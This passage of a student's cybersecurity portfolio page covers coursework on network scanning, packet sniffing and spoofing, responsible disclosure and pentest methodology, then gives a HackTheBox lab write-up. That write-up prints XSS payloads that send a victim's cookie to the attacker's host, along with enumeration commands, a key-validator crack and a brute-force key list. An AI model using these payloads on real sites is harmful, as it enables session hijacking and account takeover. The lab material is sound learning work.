href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid 